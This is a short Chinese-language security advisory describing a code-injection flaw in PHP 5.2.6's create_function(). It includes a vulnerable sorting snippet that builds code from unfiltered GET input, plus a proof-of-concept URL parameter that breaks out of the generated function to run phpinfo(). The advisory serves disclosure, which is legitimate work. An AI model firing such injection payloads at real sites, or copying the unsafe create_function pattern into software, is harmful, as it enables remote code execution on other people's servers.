BUGTRAQ ID: 31398
CNCAN ID:CNCAN-2008092610
PHP是一款流行的WEB编程语言。
PHP不正确过滤传递给'create_function()'的输入,远程攻击者可以利用漏洞以特权应用程序权限执行任意代码。
PHP使用create_function函数用于CREATE一个匿名函数:
1,使用create_function()建立一个匿名函数:
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>
80sec发现这个函数可注入命令,可不需要建立一个lambda形式函数来直接执行PHP代码,这在不能调用函数但能建立函数的情况下非常有用,代码如下:
<?php
$sort_by=stripslashes($_GET[sort_by]);
$databases=array(”test”);
$sorter = ‘var_dump’;
$sort_function = ‘
return ‘ . ($sort_order == ‘ASC’ ? 1 : -1) . ‘ * ‘ . $sorter . ‘($a["' . $sort_by .
'"], $b["' . $sort_by . '"]);
‘;
usort($databases, create_function(’$a, $b’, $sort_function));
?>
如上可以建立函数,但是因为$databases只有一个值,函数将不被调用,因此注入的代码不能被执行,但是提供如下输入:
test.php?sort_by="]);}phpinfo();/*
phpinfo会在没有调用函数的情况下执行。
PHP 5.2.6
目前没有解决方案提供:
<a href=http://www.php.net/ target=_blank>http://www.php.net/</a>
暂无评论